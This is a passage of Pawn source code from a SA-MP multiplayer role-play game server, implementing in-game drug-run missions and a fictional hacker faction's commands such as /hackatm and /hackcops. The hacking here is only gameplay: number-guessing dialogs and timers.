		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your LSD.");
		}
        }
        if(WhichSelected[playerid] == 4 && howmany >= 7000)
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your LSD.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your LSD.");
		}
        }
        if(WhichSelected[playerid] == 5 && (howmany >= 1 && howmany < 100))
        {
		SCM(playerid, COLOR_SINARANG, "Your Optium was too low to get wanted, so cops don't know yet you are transfering Optium");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Optium.");
        }
        if(WhichSelected[playerid] == 5 && (howmany >= 100 && howmany < 500))
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Optium.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Optium.");
		}
        }
        if(WhichSelected[playerid] == 5 && (howmany >= 500 && howmany < 3000))
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Optium.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Optium.");
		}
        }
        if(WhichSelected[playerid] == 5 && (howmany >= 3000 && howmany < 7000))
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Optium.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Optium.");
		}
        }
        if(WhichSelected[playerid] == 5 && howmany >= 7000)
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Optium.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Optium.");
		}
        }
 		return 1;
		}
		if(strcmp(cmd, "/illicit", true) == 0)
		{
		new notdog[50];
		new whatselected = 0;
		if(IsACop(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You are a cop.");
		if(PINFO[playerid][pJob] != 4) return SCM(playerid, COLOR_YELLOW2, "Error: You are not a Drugs Dealer.");
		if(!PTP(5.0, playerid, -1118.428833, -1648.991088, 77.925651)) return SCM(playerid, COLOR_YELLOW2, "Error: You must be close to Illicit House (/findsbiz 34)");
		if(OnDrugMission == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't do a illicit now.");
		if(OnCheckpoint[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: First cancel your current checkpoint.");
		if(GetPlayerWantedLevel(playerid) >= 1) return SCM(playerid, COLOR_YELLOW2, "Error: You have wanted levels.");
		if(IsAtjail(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You are in jail.");
		if(PINFO[playerid][pIlPoints] < 2) return SCM(playerid, COLOR_YELLOW2, "Error: You need at least 2 illicit points to do a illicit.");
        new knock[20];
        knock = strtok(cmdtext, idx);
        if(strcmp(knock,"Heroin",true) == 0)
        {
        whatselected = 1;
        }
        else if(strcmp(knock,"Crack",true) == 0)
		{
        whatselected = 2;
		}
        else if(strcmp(knock,"Weed",true) == 0)
		{
		whatselected = 3;
		}
        else if(strcmp(knock,"LSD",true) == 0)
		{
		whatselected = 4;
		}
        else if(strcmp(knock,"Optium",true) == 0)
		{
		whatselected = 5;
		}
		else
	    {
	    SCM(playerid, COL_SYN, "Syntax: /illicit <DrugName> <Grams>");
	    SCM(playerid, COLOR_Good, "Tip: Drug names available are Heroin/Crack/Weed/LSD/Optium");
	    return 1;
        }
        tmp = strtok(cmdtext, idx);
		if(!strlen(tmp))
		{
	    SCM(playerid, COL_SYN, "Syntax: /illicit <DrugName> <Grams>");
	    SCM(playerid, COLOR_Good, "Tip: Drug names available are Heroin/Crack/Weed/LSD/Optium");
	    return 1;
	    }
        new value;
        value = strval(tmp);
        if(value < 1 || value >= 10001) return SCM(playerid, COLOR_YELLOW2, "Error: Grams you want to illicit can't be lower than 1 and more than 10,000.");
        new mycash = GetPlayerPool(playerid);
		if(whatselected == 1)
		{
        new riyazi = value*9;
        new end = riyazi += SBizzInfo[34][sbEntranceCost];
        if(mycash < end) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough money to illicit this grams of drugs.");
        GivePlayerPool(playerid, -end);
	    SBizzInfo[34][sbTill] += end;
	    format(notdog, sizeof(notdog), "~r~-$%s",FormatNumber(end));
	    GameTextForPlayer(playerid, notdog, 4000, 1);
	    }
		if(whatselected == 2)
		{
        new riyazi = value*9;
        new end = riyazi += SBizzInfo[34][sbEntranceCost];
        if(mycash < end) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough money to illicit this grams of drugs.");
        GivePlayerPool(playerid, -end);
	    SBizzInfo[34][sbTill] += end;
  	    format(notdog, sizeof(notdog), "~r~-$%s",FormatNumber(end));
	    GameTextForPlayer(playerid, notdog, 4000, 1);
	    }
		if(whatselected == 3)
		{
        new riyazi = value*9;
        new end = riyazi += SBizzInfo[34][sbEntranceCost];
        if(mycash < end) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough money to illicit this grams of drugs.");
        GivePlayerPool(playerid, -end);
	    SBizzInfo[34][sbTill] += end;
  	    format(notdog, sizeof(notdog), "~r~-$%s",FormatNumber(end));
	    GameTextForPlayer(playerid, notdog, 4000, 1);
	    }
		if(whatselected == 4)
		{
        new riyazi = value*10;
        new end = riyazi += SBizzInfo[34][sbEntranceCost];
        if(mycash < end) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough money to illicit this grams of drugs.");
        GivePlayerPool(playerid, -end);
	    SBizzInfo[34][sbTill] += end;
  	    format(notdog, sizeof(notdog), "~r~-$%s",FormatNumber(end));
	    GameTextForPlayer(playerid, notdog, 4000, 1);
	    }
		if(whatselected == 5)
		{
        new riyazi = value*10;
        new end = riyazi += SBizzInfo[34][sbEntranceCost];
        if(mycash < end) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough money to illicit this grams of drugs.");
        GivePlayerPool(playerid, -end);
	    SBizzInfo[34][sbTill] += end;
  	    format(notdog, sizeof(notdog), "~r~-$%s",FormatNumber(end));
	    GameTextForPlayer(playerid, notdog, 4000, 1);
	    }
	    GramsIllicit[playerid] = value;
	    OnCheckpoint[playerid] = 1;
        SetPlayerCheckpoint(playerid,-1089.1348, -1626.7887, 76.4495, 2.0);
        CP[playerid] = 85697;
	    OnDrugMission = 1;
	    WhoIsMissioner[playerid] = 1;
	    WhichSelected[playerid] = whatselected;
	    whatselected = 0;
	    SCM(playerid, COLOR_LIGHTRED, "Go to the checkpoint for cultivate your drug.");
	    DontBeLate[playerid] = SetTimerEx("DontBeLateTimer", 600000, false, "i", playerid);
	    SCM(playerid, COLOR_SINAGHERMEZ, "YOU HAVE 10 MINUTES TO FINISH THIS ILLICIT.");
	    SCM(playerid, COLOR_Good, "Tip: If you die, you will receive 6 wanted levels and you will be failed on mission.");
	    PlayerInfo[playerid][pIlPoints] -= 2;
		SaveKonVal(playerid, "pIlPoints", PINFO[playerid][pIlPoints]);
        return 1;
        }
  		if(strcmp(cmd, "/hackfind", true) == 0)
		{
		if(!IsAHacker(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You are not part of Unknowns.");
		if(HackerCovered[playerid] == 1) return SCM(playerid,COLOR_YELLOW2,"Error: You are on cover.");
		if(CanHackFind[playerid] == 1) return SCM(playerid,COLOR_YELLOW2,"Error: You can use this feature a little minutes later.");
        new hwarn[144];
		new name[MAX_PLAYER_NAME];
        new rankname[50];
        if(PINFO[playerid][pRank] == 1) rankname = "New Hacker";
        if(PINFO[playerid][pRank] == 2) rankname = "Trial Hacker";
        if(PINFO[playerid][pRank] == 3) rankname = "Hacker";
        if(PINFO[playerid][pRank] == 4) rankname = "Perfect Hacker";
        if(PINFO[playerid][pRank] == 5) rankname = "Old Hacker";
        if(PINFO[playerid][pRank] == 6) rankname = "Private Hacker";
        if(PINFO[playerid][pRank] == 7) rankname = "Hackers Leader";
        new sex[10];
        if(PINFO[playerid][pSex] == 1) sex = "him";
        if(PINFO[playerid][pSex] == 2) sex = "her";
        GetPlayerName(playerid, name, sizeof(name));
		if(NoFindMeHacker[playerid] == 0)
		{
		NoFindMeHacker[playerid] = 1;
		format(hwarn,sizeof(hwarn),"[Unknowns]: {ffffff}%s %s disabled finding system for %sself (3 minutes)",rankname,name,sex);
		SendHackerMessage(COLOR_HACKER, hwarn);
		FindHackerTimer[playerid] = SetTimerEx("HackTimerFind", 180000, true, "i", playerid);
		FindCheckHack[playerid] = SetTimerEx("FindCheckHackTimer", 200000, true, "i", playerid);
		CanHackFind[playerid] = 1;
		}
		else if(NoFindMeHacker[playerid] == 1)
		{
		NoFindMeHacker[playerid] = 0;
		format(hwarn,sizeof(hwarn),"[Unknowns]: {ffffff}%s %s enabled finding system for %sself",rankname,name,sex);
		SendHackerMessage(COLOR_HACKER, hwarn);
	if(FindHackerTimer[playerid]){KillTimer(FindHackerTimer[playerid]);FindHackerTimer[playerid]=0;}
		}
		return 1;
		}
  		if(strcmp(cmd, "/hnews", true) == 0)
		{
		if(!IsAHacker(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You are not part of Unknowns.");
		if(HackerCovered[playerid] == 1) return SCM(playerid,COLOR_YELLOW2,"Error: You are on cover.");
		if(PINFO[playerid][pRank] < 6) return SCM(playerid,COLOR_YELLOW2,"Error: You should be rank +6.");
		new name[MAX_PLAYER_NAME];
		new chat[144];
		GetPlayerName(playerid, name, sizeof(name));
		new length = strlen(cmdtext);
		while ((idx < length) && (cmdtext[idx] <= ' '))
		{
			idx++;
		}
		new offset = idx;
		new result[144];
		while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
		{
			result[idx - offset] = cmdtext[idx];
			idx++;
		}
		result[idx - offset] = EOS;
		if(!strlen(result))
		{
			SendMessage(playerid, COL_SYN, "Syntax: /hnews <Text>");
			return 1;
		}
		new rankname[50];
		if(PINFO[playerid][pRank] == 1) rankname = "New Hacker";
		if(PINFO[playerid][pRank] == 2) rankname = "Trial Hacker";
		if(PINFO[playerid][pRank] == 3) rankname = "Hacker";
		if(PINFO[playerid][pRank] == 4) rankname = "Perfect Hacker";
		if(PINFO[playerid][pRank] == 5) rankname = "Old Hacker";
		if(PINFO[playerid][pRank] == 6) rankname = "Private Hacker";
		if(PINFO[playerid][pRank] == 7) rankname = "Hackers Leader";
		SCM(playerid, COLOR_WHITE, "____________________[Hackers NEWS]____________________");
		format(chat, 144, "((( %s %s: {ffffff}%s{7A7399} )))", rankname, name, result);
		SendMessage(playerid, COLOR_HACKER, chat);
		return 1;
		}
		if(strcmp(cmd, "/cover", true) == 0)
		{
		if(!IsAHacker(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You are not part of Unknowns.");
		if(PINFO[playerid][pRank] < 2) return SCM(playerid,COLOR_YELLOW2,"Error: You need to be rank +2 to cover.");
		if(Mahal[playerid] != 1685) return SCM(playerid,COLOR_YELLOW2,"Error: You should be at your hq to cover.");
		if(!PTP(3.0, playerid, 371.208709, 110.480262, 1027.215087)) return SCM(playerid,COLOR_YELLOW2,"Error: You should be close to cover place.");
        new hwarn[144];
		new name[MAX_PLAYER_NAME];
        new rankname[50];
        if(PINFO[playerid][pRank] == 1) rankname = "New Hacker";
        if(PINFO[playerid][pRank] == 2) rankname = "Trial Hacker";
        if(PINFO[playerid][pRank] == 3) rankname = "Hacker";
        if(PINFO[playerid][pRank] == 4) rankname = "Perfect Hacker";
        if(PINFO[playerid][pRank] == 5) rankname = "Old Hacker";
        if(PINFO[playerid][pRank] == 6) rankname = "Private Hacker";
        if(PINFO[playerid][pRank] == 7) rankname = "Hackers Leader";
        new sex[10];
        if(PINFO[playerid][pSex] == 1) sex = "him";
        if(PINFO[playerid][pSex] == 2) sex = "her";
        GetPlayerName(playerid, name, sizeof(name));
		if(HackerCovered[playerid] == 0)
		{
		if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't cover when you are in jail.");
		if(NoFindMeHacker[playerid] == 1) return SCM(playerid,COLOR_YELLOW2,"Error: You can't do it now.");
		if(HackingNumber[playerid] != 0) return SCM(playerid,COLOR_YELLOW2,"Error: You can't do it now.");
		MyLastSkin[playerid] = PlayerInfo[playerid][cSkin];
		MyLastColor[playerid] = GetPlayerColor(playerid);
		SetPlayerColor(playerid, COLOR_WHITE);
		SetPlayerSkin(playerid, PINFO[playerid][cSkin]);
		HackerCovered[playerid] = 1;
		format(hwarn,sizeof(hwarn),"[Unknowns]: {ffffff}%s %s covered %sself",rankname,name,sex);
		SendHackerMessage(COLOR_HACKER, hwarn);
		SCM(playerid, COLOR_SINARANG, "You are now on cover");
		ResetPlayerKolang(playerid);
		}
		else if(HackerCovered[playerid] == 1)
		{
		SetPlayerSkin(playerid, PlayerInfo[playerid][fSkin]);
		SetPlayerColor(playerid, MyLastColor[playerid]);
		MyLastSkin[playerid] = 9999;
		MyLastColor[playerid] = 9999;
		HackerCovered[playerid] = 0;
		format(hwarn,sizeof(hwarn),"[Unknowns]: {ffffff}%s %s uncovered %sself",rankname,name,sex);
		SendHackerMessage(COLOR_HACKER, hwarn);
		SCM(playerid, COLOR_SINARANG, "You are no longer on cover");
		}
		return 1;
		}
		if(strcmp(cmd, "/gunpackage", true) == 0)
		{
		if(!IsAHacker(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You are not part of Unknowns.");
		if(PINFO[playerid][pGunLic] == 0) return SCM(playerid,COLOR_YELLOW2,"Error: You haven't a weapon license.");
		if(HackerCovered[playerid] == 1) return SCM(playerid,COLOR_YELLOW2,"Error: You are on cover.");
		if(!PTP(3.0, playerid, 363.266784, 110.244155, 1027.215087)) return SCM(playerid,COLOR_YELLOW2,"Error: You should be close to gun package place.");
		GivePlayerKolang(playerid, 23, 100);
		GivePlayerKolang(playerid, 29, 100);
		GivePlayerKolang(playerid, 4, 1);
		new cost = 50;
		new hotdogs[50];
		GivePlayerPool(playerid, -cost);
	    format(hotdogs, sizeof(hotdogs), "~r~-$%s",FormatNumber(cost));
	    GameTextForPlayer(playerid, hotdogs, 4000, 1);
	    SCM(playerid, COLOR_SINARANG, "You bought a gun package from Unknowns HQ");
		return 1;
		}
		if(strcmp(cmd, "/hackgates", true) == 0)
		{
		if(!IsAHacker(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You are not part of Unknowns.");
		if(HackerCovered[playerid] == 1) return SCM(playerid,COLOR_YELLOW2,"Error: You are on cover.");
		if(PINFO[playerid][pHackPoints] < 1) return SCM(playerid,COLOR_YELLOW2,"Error: You need to have at least one hack point.");
		if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this when you are in jail.");
		if(Mahal[playerid] != 2) return SCM(playerid, COLOR_GG, "Error: You should be in jail interior to do this.");
		new jailcounts = 0;
		for(new i = 0; i < MAX_PLAYERS; i++)
		{
			if(IsPlayerConnected(i))
			{
			  if(PlayerInfo[i][pJailTime] > 0 && (PlayerInfo[i][pMember] != 17 || PlayerInfo[i][pLeader] != 17) && PlayerInfo[i][pAdminJailed] != 1)
			  {
			  jailcounts++;
			  }
			}
		}
		if(jailcounts == 0) return SCM(playerid, COLOR_YELLOW2, "Error: There is no body prisoner.");
		PlayerInfo[playerid][pHackPoints] -= 1;
		SaveKonVal(playerid, "pHackPoints", PINFO[playerid][pHackPoints]);
		new Avval = RandomShomare(3000,5000);
		new Dovvom = RandomShomare(6000,8000);
		new Akhar = RandomShomare(Avval,Dovvom);
		HackingNumber[playerid] = Akhar;
		HackingNumberMin[playerid] = Avval;
		HackingNumberMax[playerid] = Dovvom;
        new hwarn[144];
		new name[MAX_PLAYER_NAME];
        new rankname[50];
        if(PINFO[playerid][pRank] == 1) rankname = "New Hacker";
        if(PINFO[playerid][pRank] == 2) rankname = "Trial Hacker";
        if(PINFO[playerid][pRank] == 3) rankname = "Hacker";
        if(PINFO[playerid][pRank] == 4) rankname = "Perfect Hacker";
        if(PINFO[playerid][pRank] == 5) rankname = "Old Hacker";
        if(PINFO[playerid][pRank] == 6) rankname = "Private Hacker";
        if(PINFO[playerid][pRank] == 7) rankname = "Hackers Leader";
        GetPlayerName(playerid, name, sizeof(name));
		format(hwarn,sizeof(hwarn),"[Unknowns]: {ffffff}%s %s is trying to hack jail gates",rankname,name);
		SendHackerMessage(COLOR_HACKER, hwarn);
		SCM(playerid, COLOR_YELLOW2, "Connecting to systems...");
		GateHackDelay[playerid] = SetTimerEx("GateHackDelayz", 3000, false, "i", playerid);
		TimerToHackGates[playerid] = SetTimerEx("TimerToHackGatesz", 400000, false, "i", playerid);
		return 1;
		}
			if(strcmp(cmd, "/hackatm", true) == 0)
			{
		     if(!IsAHacker(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You are not part of Unknowns.");
		     if(PINFO[playerid][pRank] < 3) return SCM(playerid,COLOR_YELLOW2,"Error: You need to be rank +3 to hack an ATM.");
		     if(HackerCovered[playerid] == 1) return SCM(playerid,COLOR_YELLOW2,"Error: You are on cover.");
		     if(PINFO[playerid][pHackPoints] < 10) return SCM(playerid,COLOR_YELLOW2,"Error: You need to have at least 10 hack points.");
		     if(!IsAtATMSystem(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You should be close to an ATM.");
		     if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this when you are in jail.");
		     if(GetPlayerWantedLevel(playerid) >= 1) return SCM(playerid, COLOR_GG, "Error: You can't do this when you have wanted levels.");
		     PlayerInfo[playerid][pHackPoints] -= 10;
		     SaveKonVal(playerid, "pHackPoints", PINFO[playerid][pHackPoints]);
		     LoopingAnim(playerid, "BOMBER", "BOM_Plant", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;
		     SCM(playerid, COLOR_SINARANG, "Connecting the panel wires to the ATM.");
		     ForceEnd[playerid] = SetTimerEx("ForceEndz", 300000, false, "i", playerid);
		     new randombegoo = RandomShomare(1,3);
		     if(randombegoo == 1)
		     {
		     WireConnect[playerid] = SetTimerEx("WireConnectz", 3000, false, "i", playerid);
		     }
		     if(randombegoo == 2)
		     {
		     WireConnect[playerid] = SetTimerEx("WireConnectz", 5000, false, "i", playerid);
		     }
		     if(randombegoo == 3)
		     {
		     WireConnect[playerid] = SetTimerEx("WireConnectz", 6000, false, "i", playerid);
		     }
			return 1;
			}
			if(strcmp(cmd, "/hackcops", true) == 0)
			{
		if(!IsAHacker(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You are not part of Unknowns.");
		if(HackerCovered[playerid] == 1) return SCM(playerid,COLOR_YELLOW2,"Error: You are on cover.");
		if(PINFO[playerid][pHackPoints] < 3) return SCM(playerid,COLOR_YELLOW2,"Error: You need to have at least 3 hack points.");
		PlayerInfo[playerid][pHackPoints] -= 3;
		SaveKonVal(playerid, "pHackPoints", PINFO[playerid][pHackPoints]);
		new Avval = RandomShomare(3000,5000);
		new Dovvom = RandomShomare(6000,8000);
		new Akhar = RandomShomare(Avval,Dovvom);
		HackingNumber[playerid] = Akhar;
		HackingNumberMin[playerid] = Avval;
		HackingNumberMax[playerid] = Dovvom;
		ForceEndCop[playerid] = SetTimerEx("ForceEndCopz", 300000, false, "i", playerid);
        new mainz[300];
        new title[256];
        format(mainz,sizeof(mainz),"Hacking cops systems...\nEnter a number between {ff0000}%d{A9C4E4}-{ff0000}%d{A9C4E4}", HackingNumberMin[playerid], HackingNumberMax[playerid]);
        format(title, sizeof(title), "Hacking cops systems");
        ShowPlayerDialog(playerid,6593,DIALOG_STYLE_INPUT,title,mainz,"Try","Close");
        new hwarn[144];
		new name[MAX_PLAYER_NAME];
        new rankname[50];
        if(PINFO[playerid][pRank] == 1) rankname = "New Hacker";
        if(PINFO[playerid][pRank] == 2) rankname = "Trial Hacker";
        if(PINFO[playerid][pRank] == 3) rankname = "Hacker";
        if(PINFO[playerid][pRank] == 4) rankname = "Perfect Hacker";
        if(PINFO[playerid][pRank] == 5) rankname = "Old Hacker";
        if(PINFO[playerid][pRank] == 6) rankname = "Private Hacker";
        if(PINFO[playerid][pRank] == 7) rankname = "Hackers Leader";
        GetPlayerName(playerid, name, sizeof(name));
